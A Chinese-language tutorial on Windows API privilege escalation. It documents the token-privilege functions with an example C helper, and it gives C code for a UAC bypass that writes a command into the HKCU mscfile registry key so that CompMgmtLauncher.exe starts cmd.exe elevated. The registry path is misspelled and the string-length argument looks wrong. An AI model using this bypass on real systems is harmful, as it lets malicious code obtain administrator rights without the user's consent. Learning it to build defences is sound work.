WindowsAPI编程核心技术-提权技术

进程访问令牌权限提升‘

OpenProcessToken

打开与进程关联的访问令牌。

1
2
3
4
5
6
7
8
BOOL WINAPI OpenProcessToken(
_In_ HANDLE ProcessHandle,
//打开访问令牌的进程句柄
_In_ DWORD DesiredAccess,
//指定一个访问掩码 并指定访问令牌的请求类型
_Out_ PHANDLE TokenHandle
//新打开的访问令牌句柄
)//成功非0 失败0

LookupPrivilegeValue

查看系统权限特权值并返回信息到一个LUID结构体中。

1
2
3
4
5
6
7
8
BOOL WINAPI LookupPrivilegeValue(
_In_opt_ LPCTSTR lpSystemName,
//要获取特权值的系统名称
_In_ LPCTSTR lpName,
//指定特权名称 在Winnt.h中定义 可以是枚举值常量 也可以是字符串
_Out_ PLUID lpLuid
//接收指定系统中已知权限的LUID
)//成功非0 失败0

AdjustTokenPrivileges

启用或禁用指定访问令牌中的权限,该函数要求TOKEN_ADJUST_PRIVILEGES权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
BOOL WINAPI AdjustTokenPrivileges(
_In_ HANDLE TokenHandle,
//指向访问令牌的句柄
_In_ BOOL DisableAllPrivileges,
//是否禁用所有令牌的权限
_In_opt_ PTOKEN_PRIVILEGES NewState,
//指定特权数组及其属性 启用/删除/禁用
_In_ DWORD BufferLength,
//PreviousState缓冲区大小
_Out_opt_ PTOKEN_PRIVILEGES PreviousState,
//指向缓冲区的指针
_Out_opt_ PDWORD ReturnLength
//缓冲区所需大小 单位字节
)//成功非0 失败0

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
BOOL EnablePrivileges(HANDLE hProcess, WCHAR* pszPrivilegesName) {
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (FALSE == bRet)
return FALSE;
bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
if (FALSE == bRet)
return FALSE;
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
if (FALSE == bRet)
return FALSE;
else {
dwRet = ::GetLastError();
if (ERROR_SUCCESS == dwRet)
return TRUE;
else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
return FALSE;
};
return FALSE;
};

Bypass UAC

白名单Bypass UAC

有些系统程序直接获取管理员权限,不触发UAC弹窗,例如有:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等。这里以CompMgmtLauncher.exe为例,Procmon监测到其访问了几个注册表路径,选取其中一个写入cmd.exe后运行CompMgmtLauncher.exe弹出命令行。

这里演示添加路径为:

1
HKEY_CURRENT_USER\Software\Classes\mscfile\Shell\Open\Commmand\(Default)

代码:

1
2
3
4
5
6
7
8
9
BOOL SetReg(WCHAR* lpszExePath) {
HKEY hKey = NULL;
::RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\\Classes\\mscfile\\Shell\\Open\\Commmand", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (NULL == hKey)
return FALSE;
::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath)));
::RegCloseKey(hKey);
return TRUE;
};

基于COM组件接口Bypass UAC

COM组件接口没搞懂,略。